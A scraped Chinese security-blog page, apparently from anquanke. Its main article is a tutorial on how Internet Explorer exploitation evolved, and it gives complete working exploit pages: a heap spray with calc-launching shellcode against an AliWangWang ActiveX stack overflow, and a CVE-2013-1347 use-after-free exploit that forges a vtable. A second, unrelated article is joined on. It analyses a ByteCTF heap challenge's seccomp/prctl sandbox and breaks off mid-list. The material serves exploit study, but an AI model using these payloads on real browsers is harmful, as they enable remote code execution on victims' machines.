[《360MarvelTeam虚拟化漏洞第一弹 – CVE-2015-6815
漏洞分析》](http://blogs.360.cn/blog/360marvelteam%E8%99%9A%E6%8B%9F%E5%8C%96%E6%BC%8F%E6%B4%9E%E7%AC%AC%E4%B8%80%E5%BC%B9-cve-2015-6815-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)
[《360MarvelTeam虚拟化漏洞第二弹 – CVE-2015-5279
漏洞分析》](http://blogs.360.cn/blog/360marvelteam%E8%99%9A%E6%8B%9F%E5%8C%96%E6%BC%8F%E6%B4%9E%E7%AC%AC%E4%BA%8C%E5%BC%B9-cve-2015-5279-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)
[《360MarvelTeam虚拟化漏洞第三弹 – CVE-2015-7504
漏洞分析》](https://www.anquanke.com/post/id/83036)
[《360 Marvel
Team虚拟化漏洞第四弹：CVE-2015-8567漏洞分析》](https://www.anquanke.com/post/id/83215)
[《360 Marvel Team虚拟化漏洞第五弹 – CVE-2016-3710 Dark
Portal漏洞分析》](https://www.anquanke.com/post/id/83899)
[《360 Marvel Team云系统漏洞第六弹 –
CVE-2016-8632分析》](https://www.anquanke.com/post/id/84966)
**360 Marvel Team** **出版图书：**
《云虚拟化安全攻防实践》
**360 Marvel Team** **招聘信息：**
**更多合作和招聘职位可见二维码：** | 社区文章 |
# 【技术分享】 IE浏览器漏洞利用技术的演变 ( 一 )
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
****
**作者：**[ **hac425**](http://bobao.360.cn/member/contribute?uid=2553709124)
**稿费：500RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿**
****
**传送门**
* * *
【技术分享】 IE浏览器漏洞利用技术的演变 ( 二） <http://bobao.360.cn/learning/detail/3029.html>
**
**
**IE浏览器漏洞利用技术的演变**
******注：文章中涉及的软件，或dll, 即最终的 exp:**
**<https://yunpan.cn/OckK8EjZnR9cGj>（提取码：2a79)**
**
**
现今，浏览器是用户接入互联网的门户。浏览器从诞生之初主要提供简单的文档阅读功能，很少构成网络安全威胁，但随着互联网的高速发展，越来越多的功能集被加入到浏览器中。浏览器不仅需要像操作系统那样，为阅读文档、观看电影、欣赏音乐等传统计算机应用提供基础，也需要为社交网络、网络购物等新兴互联网应用提供支持。浏览器在增加功能集的同时，
也就带来了更多的安全问题。同时又由于IE是 windows的默认浏览器, 所以hacker 们对 IE 的漏洞十分感兴趣.
关注的人多了,IE浏览器相关的漏洞利用技术也就发展的很快。
早期hacker 们挖掘 IE浏览器漏洞,挖到的绝大部分是一些缓冲区溢出 或者是
ActiveX控件漏洞,这些漏洞中有很多是栈溢出类型的漏洞这类漏洞,利用起来非常的方便,直接使用过长字符串覆盖函数返回地址,我们就可以控制程序的执行流程.
此时的漏洞利用和其他软件的漏洞利用技术差不多,即先通过输入数据布置好栈上的数据,然后将返回地址覆盖为 jmp esp
之类的指令的地址,这样一来在函数返回时我们就能控制程序执行到我们输入的数据中,这样我们就能 干我们想干的事情了.
浏览器毕竟和其他类型软件不一样,浏览器实现了许多的功能, 其中很大一部分都是基于的堆实现的,所以很多时候 hacker 会发现 :挖到了一个漏洞 ,也劫持了
eip 控制了程序流程,但是不能控制栈上的内容,或者能控制的内容的长度非常小,以至于连一个弹框的 shellcode 都不能布置上去.难道 hacker
们就这样放弃了吗? 当然没有 , 有了问题咱就解决问题.来看看我们现在拥有的条件. 1. eip 可控 2.不能在栈上布置 shellcode .
既然栈上不行 , 那咱就可以将我们的 shellcode布置到堆上 , 之后我们在将 eip 指向 堆中的shellcode
即可.这样又来了一个难题,我们知道 堆的分配是动态的,即分配的堆块的地址是不固定的,会变化的.为了解决这一困难 , hackers 发明了一种技术 →
Heap Spraying 即 堆喷射技术 , 该技术在 浏览器中的大致原理是 ,通过使用浏览器的支持的一些脚本语言, 如 javascript
,vbscript , actionscript ….. , 申请大量的内存,这样我们就有可能使内存中的某个地址恰好指向我们的数据.通过这样一种技术,
我们现在的拥有的条件是: 1.EIP可控 2. 我们输入数据的地址可知. 不考虑一些漏洞利用缓解措施, 如 DEP , 栈cookies 等,
我们就能实现代码执行。扯了这么久来实践一把吧。
这里用的漏洞是 阿里旺旺2010 的 ActiveX控件的一个栈溢出漏洞, 测试环境为 xp sp3 IE6,可以通过在控制面板中卸载 ie8 得到
ie6漏洞的原理是 其控件的 imageMan.dll 中的AutoPic 函数由于未对参数的长度进行有效的检测
,导致存在栈溢出漏洞.先用一段小html代码验证下漏洞是否是这样.
poc代码如下:
<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>
var buffer = '';
while (buffer.length < 1111) buffer+="A";
target.AutoPic(buffer,"defaultV");
</script>
</body>
</html>
其大致流程为, 获取 ActiveX控件 对象, 之后调用 对象的 AutoPic 方法,并向它传入 很长的一段 A ,来触发漏洞.打开浏览器,
用调试器附加上去, 打开 poc 页面, 出发异常 , 查看 SEH 链 ,可以看到 SEH 链的被覆盖
我们就能利用 SEH 来实现任意代码执行.同时可以看到,此时的栈并没有我们的输入数据,故我们应该使用 堆喷射技术 将咱们的 shellcode
喷射到可预测的地址来完成最后的漏洞利用.这里给出一个可以在 IE 6, 7上稳定喷射内存到 0x0c0c0c0c 地址处的堆喷射脚本,
以后要喷射内存时,直接贴到 exp 前面使用即可.
<html>
<script >
var shellcode = unescape('%u4141%u4141');
var bigblock = unescape('%u9090%u9090');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 500; i++){ memory[i] = block + shellcode }
</script>
<script>
(1);
</script>
</html>
会创建由一大块 由nop指令 + shellcode 的内存块,之后重复分配 500次,以将数据块喷射到
0x0c0c0c0c处.我们来看看是否能喷射内存到可预测的地址上去,保存 上述内容到一个文件中 ,用调试器附加到 IE浏览器上打开 poc 文件,在 弹出
1 对话框时 ,在调试器中将 ie进程中断下来,查看 0x0c0c0c0c 处的内存数据.
可 以看到 地址 0x0c0c0c0c 处的值为 大量的 0x90(即 nop指令的16进制) 从堆喷射脚本可以知道 该地址位于我们 nop +
shellcode 块的 nop 区 ,如果我们将 eip 劫持到 0x0c0c0c0c 处, 程序就会执行大量的 nop 指令,最后会执行到我们的
shellcode 中. 那么,我将最初那个触发漏洞脚本的内容贴到 堆喷射代码的后面 ,并改变传入漏洞函数的参数为 一大串的 “x0c” ,并添加上我们的
shellcode 这里我用的是 弹出一个计算器.最终的 exploit 代码:
<html>
<script >
var shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');
var bigblock = unescape('%u9090%u9090');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 500; i++){ memory[i] = block + shellcode }
</script>
<script>
(1);
</script>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
<script>
var buffer = '';
while (buffer.length < 1111) buffer+= "x0c";
target.AutoPic(buffer,"defaultV");
</script>
</html>
保存内容,打开网页 ,就可弹出一个计算器, 干净利落.
上面那种类型的漏洞流行于 03年-08年, 由于缓冲区溢出类的漏洞挖掘较为容易 , 所以没过多久,这一类型的漏洞就被 hacker 们挖的差不多了, 于是
hacker 们又纷纷转向 堆相关漏洞的挖掘 , 于是
08年之后释放重利用这种堆相关漏洞利用方式变成了IE漏洞的主流.逐渐在这几年达到了高峰.对象畸形操作类的漏洞一般来说触发漏洞需要一系列的操作.单个的操作，比方说对象的创建使用删除都是正常的。导致问题的是对于对象操作的畸形的组合.比如一个对象释放后
引用计数没有清0 , 导致我们可以使用已经释放的内存,又比如 我们新建对象时 ,申请到了一块为初始化的内存 等等 这些都会造成一些安全问题, 甚至可能导致
远程代码执行.
话不多说,直接开干. 这里用的漏洞是 CVE-2013-1347-Microsoft IE UAF漏洞.测试环境为 win7 32 , mshtml.dll
的文件版本 为 : 8.00.7601.17514. 漏洞的原理 : CGnericElement在被释放后 ,我们仍然可以使用 它的那块内存,
而当我们调用对象的函数时就有可能引用非法内存的值作为 函数指针, 最后造成远程代码执行漏洞. 这里在介绍一个背景知识 ,
跟面向过程的编程语言不同，c++支持多态和继承。支持这些机制的核心就是虚表。C++的(虚)函数指针位于一个全局数组中，形成虚表。而指向这个虚表的指针(VSTR)一般位于对象实例在内存中开始的4个字节(32位系统)
之后才是类中声明的数据成员，一般按照声明的先后顺序排列。对于存在多态行为的类，子类的所有实例共享相同的虚表，但区别于父类的虚表。对于某个对象，其
调用存在多态行为的某个函数时，会先通过虚表指针得到虚表.再根据函数在虚表中的偏移来得到相应的函数指针，最后才会调用函数. 最后总结一下: 一个对象创建后
,会在内存中占用一定的空间, 如果对象有虚函数调用的话(ie 中的对象基本都有 ) ,其内存块开头的 4 字节 会指向一个 叫做 虚表的东西 , 当
对象调用虚函数时 首先会 取出 虚表指针 (即 开头的 4字节) ,再到 虚表处根据所调用函数对虚表的相对偏移找到函数指针 , 最终 跳到 函数指针处执行
.
其 汇编代码的 大致呈现 为 <假定 ecx 指向对象>:
mov eax , [ecx]
call [eax + 偏移]
通过这么一大串的对对象虚函数调用过程的描述, 你应该大致猜到了 对于 UAF 漏洞利用的 通用的方式, 没错就是 ,在 存在漏洞的对象释放后
,使用另外一种对象 来占用刚刚被释放的内存块, 我们称之为 “占坑”, 之后在用这个对象来修改虚表指针的值 来伪造一个虚表,
最后再让漏洞对象调用他的一个虚函数,我们可以通过先前伪造的虚表 ,将此处调用的函数的指针设为 我们 shellcode 的地址,
那么这样,漏洞对象一调用函数,就会跳到 shellcode 中来执行.
下面回到这个漏洞来, 通过对漏洞的调试分析,可以弄清楚存在 UAF 漏洞的 CgnericElement 对象的大小为0x4c ,
那么如果我们要利用这个漏洞,就需要在漏洞对象被释放后,通过申请相同大小的内存来使用这块 “邪恶” 的内存,
将其开头4字节伪造成我们可控数据的地址处,来进一步伪造虚表.在 IE8中恰好有一个 t:ANIMATECOLO 标签,通过利用该标签我们可以实现上面的目标.
t:ANIMATECOLO标签值是一个用分号分隔的字符串,分号的个数决定对象的大小.对象的每个元素都是一个指针,指向分隔出来的字符串.应为漏洞对象的大小为
0x4c所以这里需要包含 0x4c/4 =0x13 个分号的字符串.通过分析崩溃时的情景,可以发现对象是在调用偏移虚表 0x70的地方的函数时,造成了崩溃.
mshtml!CElement::Doc:
6586c815 8b01 mov eax,dword ptr [ecx]
6586c817 8b5070 mov edx,dword ptr [eax+70h]
6586c81a ffd2 call edx
因此我们在代码中使用 0x70 /4 精确控制 edx .具体看POC中的注释.
Poc:
<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>
<script>
function helloWorld()
{
animvalues = "";
// mshtml!CElement::Doc:
// 6586c815 8b01 mov eax,dword ptr [ecx]
// 6586c817 8b5070 mov edx,dword ptr [eax+70h]
// 6586c81a ffd2 call edx
for (i=0; i <= 0x70/4; i++) {
// t:ANIMATECOLOR 标签第一个对象用于覆盖虚表指针
// 由于索引虚函数时，需要偏移0x70，所以这里采用0x70/4去精确控制edx值
if (i == 0x70/4) {
//animvalues += unescape("%u5ed5%u77c1");
animvalues += unescape("%u4141%u4141"); // 控制edx=0x41414141
}
else {
animvalues += unescape("%u4242%u4242"); // 0x42424242
}
}
for(i = 0; i < 13; i++) {
// t:ANIMATECOLOR 标签值是一个用分号分隔的字符串，分号的个数决定对象的大小，
// 对象的每个元素都是一个指针，指向分号分隔出来的字符串
// 漏洞对象CGnericElement大小0x4c，所以这里需要包含0x4c/4=13个分号的字符串
animvalues += ";red";
}
f0 = document.createElement('span');
document.body.appendChild(f0);
f1 = document.createElement('span');
document.body.appendChild(f1);
f2 = document.createElement('span');
document.body.appendChild(f2);
document.body.contentEditable="true";
f2.appendChild(document.createElement('datalist'));
f1.appendChild(document.createElement('span'));
f1.appendChild(document.createElement('table'));
try{
f0.offsetParent=null;
}catch(e) {}
f2.innerHTML="";
f0.appendChild(document.createElement('hr'));
f1.innerHTML="";
CollectGarbage();
try {
//使用 t:ANIMATECOLOR 标签可以自由设置其内容，控制对象大小
a = document.getElementById('myanim');
a.values = animvalues;
}
catch(e) {}
}
</script>
</head>
<body onload="eval(helloWorld());">
<t:ANIMATECOLOR id="myanim"/>
</body>
</html>
使用ie 访问页面,调试器附加到 ie上，
可以看到程序执行到了 0x41414141 处，我们成功劫持了程序的执行流程．下面不考虑 dep 的话，直接在漏洞触发代码前面使用一个
ie8的堆喷射脚本，在修改下指针控制的值为 0x0c0c0c0c,我们就能实现代码执行了．最终的exp 代码如下：
<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>
<script>
// [ Shellcode ]
var shellcode = unescape(
"%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30" +
"%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" +
"%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" +
"%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a" +
"%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" +
"%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" +
"%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" +
"%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424" +
"%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86" +
"%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff" +
"%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c" +
"%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5" +
"%u6c61%u2e63%u7865%u0065");
var fill = unescape("%u0c0c%u0c0c");
while (fill.length < 0x1000){
fill += fill;
}
// [ padding offset ]
padding = fill.substring(0, 0x5F6);
// [ fill each chunk with 0x1000 bytes ]
evilcode = padding + shellcode + fill.substring(0, 0x800 - padding.length - shellcode.length);
// [ repeat the block to 512KB ]
while (evilcode.length < 0x40000){
evilcode += evilcode;
}
// [ substring(2, 0x40000 - 0x21) - XP SP3 + IE8 ]
var block = evilcode.substring(2, 0x40000 - 0x21);
// [ Allocate 200 MB ]
var slide = new Array();
for (var i = 0; i < 400; i++){
slide[i] = block.substring(0, block.length);
}
(1);
</script>
<script>
function helloWorld()
{
animvalues = "";
for (i=0; i <= 0x70/4; i++) {
// t:ANIMATECOLOR 标签第一个对象用于覆盖虚表指针
// 由于索引虚函数时，需要偏移0x70，所以这里采用0x70/4去精确控制edx值
if (i == 0x70/4) {
animvalues += unescape("%u0c0c%u0c0c"); // 控制edx
}
else {
animvalues += unescape("%u4242%u4242"); // 0x42424242
}
}
for(i = 0; i < 13; i++) {
// t:ANIMATECOLOR 标签值是一个用分号分隔的字符串，分号的个数决定对象的大小，
// 对象的每个元素都是一个指针，指向分号分隔出来的字符串
// 漏洞对象CGnericElement大小0x4c，所以这里需要包含0x4c/4=13个分号的字符串
animvalues += ";red";
}
f0 = document.createElement('span');
document.body.appendChild(f0);
f1 = document.createElement('span');
document.body.appendChild(f1);
f2 = document.createElement('span');
document.body.appendChild(f2);
document.body.contentEditable="true";
f2.appendChild(document.createElement('datalist'));
f1.appendChild(document.createElement('span'));
f1.appendChild(document.createElement('table'));
try{
f0.offsetParent=null;
}catch(e) {}
f2.innerHTML="";
f0.appendChild(document.createElement('hr'));
f1.innerHTML="";
CollectGarbage();
try {
//使用 t:ANIMATECOLOR 标签可以自由设置其内容，控制对象大小
a = document.getElementById('myanim');
a.values = animvalues;
}
catch(e) {}
}
</script>
</head>
<body onload="eval(helloWorld());">
<t:ANIMATECOLOR id="myanim"/>
</body>
</html>
今天真是邪门了，不知道为啥我开启了dep 还是能够执行，
这次就到这，下次补充rop部分，以及 14 -16年的IE漏洞利用部分，谢谢！
**
**
**参考文献**
林桠泉. 漏洞战争：软件漏洞分析精要[M]. 北京:电子工业出版社, 2016. | 社区文章 |
# 一道 CTF 题目学习 prctl 函数的沙箱过滤规则
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
bytectf 的一道堆题，涉及到 prctl 函数，之前没有接触过，借这个机会学习一下。
### checksec
题目环境：glibc 2.27
## 功能分析
照旧将程序加载进入 IDA，分析程序的逻辑。
### add 函数
这个函数比较简单，直接返回一个 malloc(0x50) 大小的堆块指针。
void __fastcall add(unsigned int a1)
{
if ( a1 <= 0xF )
{
note_list[a1] = malloc(0x50uLL);
puts("Done!n");
}
}
### delete 函数
del 函数也是一样简单，直接 free 掉堆块后置空指针，不存在 UAF 漏洞。
int __fastcall del(unsigned int a1)
{
int result; // eax
if ( a1 <= 0xF )
{
free(note_list[a1]);
note_list[a1] = 0LL;
result = puts("Done!n");
}
return result;
}
### edit 函数
在 edit 函数中，size 的值可控，所以这里存在一个溢出。但是 **这个溢出是有条件的** 。
unsigned __int64 __fastcall edit(unsigned int a1)
{
int v2; // [rsp+14h] [rbp-Ch]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( a1 <= 0xF && note_list[a1] )
{
printf("Size: ");
__isoc99_scanf("%u", &v2);
printf("Content: ", &v2);
get_input(note_list[a1], v2); // overflow
puts("Done!n");
}
return __readfsqword(0x28u) ^ v3;
}
跟进 get_input 函数，这里需要 `0x4040E0` 这个地址需要有值，但是这个地方默认是 0。除非找到一处 **任意地址写或者溢出到这里**
，否则这个堆块就会根据输入的 size 值的大小，填充一大堆的任意值。
ssize_t __fastcall get_input(void *a1, int a2)
{
int fd; // [rsp+1Ch] [rbp-4h]
if ( dword_4040E0 )
return read(0, a1, a2);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
exit(0);
return read(fd, a1, a2);
}
* 注意到这里，在 fd 指针返回 -1 的时候，才会退出， **如果我们这里让他返回 0 呢？** 那他下面就会执行 `read(0, a1, a2)`，这样我们也可以达到可控的目的，这就是我们下面要达到的目的。
### become_vip 函数
这个函数定义了一大堆的变量，一开始没看懂这个是干啥的，后来发现是用来定义存储结构体变量的。
unsigned __int64 vip()
{
__int16 v1; // [rsp+0h] [rbp-90h]
char *v2; // [rsp+8h] [rbp-88h]
char buf; // [rsp+10h] [rbp-80h]
char v4; // [rsp+30h] [rbp-60h]
char v5; // [rsp+31h] [rbp-5Fh]
char v6; // [rsp+32h] [rbp-5Eh]
char v7; // [rsp+33h] [rbp-5Dh]
char v8; // [rsp+34h] [rbp-5Ch]
char v9; // [rsp+35h] [rbp-5Bh]
char v10; // [rsp+36h] [rbp-5Ah]
char v11; // [rsp+37h] [rbp-59h]
char v12; // [rsp+38h] [rbp-58h]
char v13; // [rsp+39h] [rbp-57h]
char v14; // [rsp+3Ah] [rbp-56h]
char v15; // [rsp+3Bh] [rbp-55h]
char v16; // [rsp+3Ch] [rbp-54h]
char v17; // [rsp+3Dh] [rbp-53h]
char v18; // [rsp+3Eh] [rbp-52h]
char v19; // [rsp+3Fh] [rbp-51h]
char v20; // [rsp+40h] [rbp-50h]
char v21; // [rsp+41h] [rbp-4Fh]
char v22; // [rsp+42h] [rbp-4Eh]
char v23; // [rsp+43h] [rbp-4Dh]
char v24; // [rsp+44h] [rbp-4Ch]
char v25; // [rsp+45h] [rbp-4Bh]
char v26; // [rsp+46h] [rbp-4Ah]
char v27; // [rsp+47h] [rbp-49h]
char v28; // [rsp+48h] [rbp-48h]
char v29; // [rsp+49h] [rbp-47h]
char v30; // [rsp+4Ah] [rbp-46h]
char v31; // [rsp+4Bh] [rbp-45h]
char v32; // [rsp+4Ch] [rbp-44h]
char v33; // [rsp+4Dh] [rbp-43h]
char v34; // [rsp+4Eh] [rbp-42h]
char v35; // [rsp+4Fh] [rbp-41h]
char v36; // [rsp+50h] [rbp-40h]
char v37; // [rsp+51h] [rbp-3Fh]
char v38; // [rsp+52h] [rbp-3Eh]
char v39; // [rsp+53h] [rbp-3Dh]
char v40; // [rsp+54h] [rbp-3Ch]
char v41; // [rsp+55h] [rbp-3Bh]
char v42; // [rsp+56h] [rbp-3Ah]
char v43; // [rsp+57h] [rbp-39h]
char v44; // [rsp+58h] [rbp-38h]
char v45; // [rsp+59h] [rbp-37h]
char v46; // [rsp+5Ah] [rbp-36h]
char v47; // [rsp+5Bh] [rbp-35h]
char v48; // [rsp+5Ch] [rbp-34h]
char v49; // [rsp+5Dh] [rbp-33h]
char v50; // [rsp+5Eh] [rbp-32h]
char v51; // [rsp+5Fh] [rbp-31h]
char v52; // [rsp+60h] [rbp-30h]
char v53; // [rsp+61h] [rbp-2Fh]
char v54; // [rsp+62h] [rbp-2Eh]
char v55; // [rsp+63h] [rbp-2Dh]
char v56; // [rsp+64h] [rbp-2Ch]
char v57; // [rsp+65h] [rbp-2Bh]
char v58; // [rsp+66h] [rbp-2Ah]
char v59; // [rsp+67h] [rbp-29h]
char v60; // [rsp+68h] [rbp-28h]
char v61; // [rsp+69h] [rbp-27h]
char v62; // [rsp+6Ah] [rbp-26h]
char v63; // [rsp+6Bh] [rbp-25h]
char v64; // [rsp+6Ch] [rbp-24h]
char v65; // [rsp+6Dh] [rbp-23h]
char v66; // [rsp+6Eh] [rbp-22h]
char v67; // [rsp+6Fh] [rbp-21h]
char v68; // [rsp+70h] [rbp-20h]
char v69; // [rsp+71h] [rbp-1Fh]
char v70; // [rsp+72h] [rbp-1Eh]
char v71; // [rsp+73h] [rbp-1Dh]
char v72; // [rsp+74h] [rbp-1Ch]
char v73; // [rsp+75h] [rbp-1Bh]
char v74; // [rsp+76h] [rbp-1Ah]
char v75; // [rsp+77h] [rbp-19h]
char v76; // [rsp+78h] [rbp-18h]
char v77; // [rsp+79h] [rbp-17h]
char v78; // [rsp+7Ah] [rbp-16h]
char v79; // [rsp+7Bh] [rbp-15h]
char v80; // [rsp+7Ch] [rbp-14h]
char v81; // [rsp+7Dh] [rbp-13h]
char v82; // [rsp+7Eh] [rbp-12h]
char v83; // [rsp+7Fh] [rbp-11h]
char v84; // [rsp+80h] [rbp-10h]
char v85; // [rsp+81h] [rbp-Fh]
char v86; // [rsp+82h] [rbp-Eh]
char v87; // [rsp+83h] [rbp-Dh]
char v88; // [rsp+84h] [rbp-Ch]
char v89; // [rsp+85h] [rbp-Bh]
char v90; // [rsp+86h] [rbp-Ah]
char v91; // [rsp+87h] [rbp-9h]
unsigned __int64 v92; // [rsp+88h] [rbp-8h]
v92 = __readfsqword(0x28u);
puts("OK, but before you become vip, please tell us your name: ");
v4 = 32;
v5 = 0;
v6 = 0;
v7 = 0;
v8 = 4;
v9 = 0;
v10 = 0;
v11 = 0;
v12 = 21;
v13 = 0;
v14 = 0;
v15 = 8;
v16 = 62;
v17 = 0;
v18 = 0;
v19 = -64;
v20 = 32;
v21 = 0;
v22 = 0;
v23 = 0;
v24 = 0;
v25 = 0;
v26 = 0;
v27 = 0;
v28 = 53;
v29 = 0;
v30 = 6;
v31 = 0;
v32 = 0;
v33 = 0;
v34 = 0;
v35 = 64;
v36 = 21;
v37 = 0;
v38 = 4;
v39 = 0;
v40 = 1;
v41 = 0;
v42 = 0;
v43 = 0;
v44 = 21;
v45 = 0;
v46 = 3;
v47 = 0;
v48 = 0;
v49 = 0;
v50 = 0;
v51 = 0;
v52 = 21;
v53 = 0;
v54 = 2;
v55 = 0;
v56 = 2;
v57 = 0;
v58 = 0;
v59 = 0;
v60 = 21;
v61 = 0;
v62 = 1;
v63 = 0;
v64 = 60;
v65 = 0;
v66 = 0;
v67 = 0;
v68 = 6;
v69 = 0;
v70 = 0;
v71 = 0;
v72 = 5;
v73 = 0;
v74 = 5;
v75 = 0;
v76 = 6;
v77 = 0;
v78 = 0;
v79 = 0;
v80 = 0;
v81 = 0;
v82 = -1;
v83 = 127;
v84 = 6;
v85 = 0;
v86 = 0;
v87 = 0;
v88 = 0;
v89 = 0;
v90 = 0;
v91 = 0;
read(0, &buf, 0x50uLL);
printf("Hello, %sn", &buf);
v1 = 11;
v2 = &v4;
if ( prctl(38, 1LL, 0LL, 0LL, 0LL, *&v1, &v4) < 0 )
{
perror("prctl(PR_SET_NO_NEW_PRIVS)");
exit(2);
}
if ( prctl(22, 2LL, &v1) < 0 )
{
perror("prctl(PR_SET_SECCOMP)");
exit(2);
}
return __readfsqword(0x28u) ^ v92;
}
#### 函数分析
开始先是使用 read 函数读取了 0x50 字节大小的数据到栈上：`read(0, &buf,
0x50uLL);`，仔细看这里其实是溢出了，可以覆盖到下面的一些变量：
char buf; // [rsp+10h] [rbp-80h] // buf 大小为 32 字节，向下溢出 48 个字节
char v4; // [rsp+30h] [rbp-60h]
char v5; // [rsp+31h] [rbp-5Fh]
...
接着调用了 prctl 函数，没了解过这个函数，因此本文的重点就是着重来分析一下这个函数的用法。
v1 = 11;
v2 = &v4;
if ( prctl(38, 1LL, 0LL, 0LL, 0LL, *&v1, &v4）{
...
}
...
if ( prctl(22, 2LL, &v1) < 0 ){
...
}
## prctl 函数
先查看一下 [man 手册](http://man7.org/linux/man-pages/man2/prctl.2.html)关于 prctl
函数的介绍：
这个函数可以对进程就行操作， **第一个参数可以指定你想做的事** ，因此第一个参数的可选项非常多。
> operations on a process
> prctl() is called with a first argument describing what to do (with values
> defined in <linux/prctl.h>), and further arguments with a significance
> depending on the first one. The first argument can be:
**函数原型** ：
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
第一个参数是指定相应的操作，在手册上有特别多的选项，这里我们需要重点关注两个：
1. PR_SET_NO_NEW_PRIVS
2. PR_SET_SECCOMP
继续看手册上的介绍，对于第一个参数选项：
Set the calling thread’s no_new_privs attribute to the value in arg2. With no_new_privs set to 1, execve(2) promises not to grant privileges to do anything that could not have been done without the execve(2) call (for example, rendering the set-user-ID and set-group-ID mode bits, and file capabilities non-functional).
Once set, this the no_new_privs attribute cannot be unset. The setting of this attribute is inherited by children created by fork(2) and clone(2), and preserved across execve(2).
简单的说就是如果 option 设置为 `PR_SET_NO_NEW_PRIVS` 的话，第二个参数如果设置为 1 的话， **不能够进行 execve
的系统调用，同时这个选项还会继承给子进程** 。
* 这样的话常规的调用 system 函数、one_gadget 的用不了了，这里的设置点其实和 **pwnable.tw 上 orw 那道题一样，只能进行几个系统调用：open、write、read** 。
这里也就是调用下面的语句进行设置：
prctl(PR_SET_NO_NEW_PRIVS, 1LL...);
在 `include/linux/prctl.h` 中找到 `PR_SET_NO_NEW_PRIVS` 常量对应的数值，正好是
38，因此也就对应上了题目中的第一个 prctl 语句，那很明显 v4 就是一个设置规则的结构体指针， **我们完全可以覆盖他来构造沙箱规则** 。
接着看第二个options `PR_SET_SECCOMP`：
Set the secure computing (seccomp) mode for the calling thread, to limit the available system calls.
设置 seccomp ，其实也就是设置沙箱规则，这个 option 有两个子参数：
SECCOMP_MODE_STRICT：
the only system calls that the thread is permitted to make are read(2), write(2),_exit(2) (but not exit_group(2)), and sigreturn(2).
SECCOMP_MODE_FILTER (since Linux 3.5)：
the system calls allowed are defined by a pointer to a Berkeley Packet Filter passed in arg3. This argument is a pointer to struct sock_fprog; it can be designed to filter arbitrary system calls and system call arguments.
这里如果设置了 `SECCOMP_MODE_STRICT` 模式的话，系统调用只能使用 read, write,_exit 这三个。
如果设置了 `SECCOMP_MODE_FILTER` 的话，系统调用规则就可以被 Berkeley Packet Filter（BPF）
的规则所定义，这玩意就是这里最最重点的东西了。
* `SECCOMP_MODE_FILTER` 表示的常量为 2，那么在第二个 prctl 函数中，执行的就是：`prctl(,SECCOMP_MODE_FILTER,PR_SET_SECCOMP,&v1)`
### BPF 规则介绍
来看看百度百科上的解释：
看解释可以知道这是一种网络数据包传输过滤的一种规则，那个怎么会用在 C 语言的 prctl 函数中呢？大佬的解释是这样的：
那这样的话就需要了解 BPF
的沙箱解释规则了，[这篇文章](http://www.360doc.com/content/06/1026/17/13362_241408.shtml)写的还不错，可以做参考。
> BPF 定义了一个伪机器。这个伪机器可以执行代码，有一个累加器，寄存器，和赋值、算术、跳转指令。一条指令由一个定义好的结构 struct
> bpf_insn 表示，与真正的机器代码很相似，若干个这样的结构组成的数组，就成为 BPF 的指令序列。
总结起来就下面的一些点：
1. **结构赋值操作指令为** ：BPF_STMT、BPF_JUMP
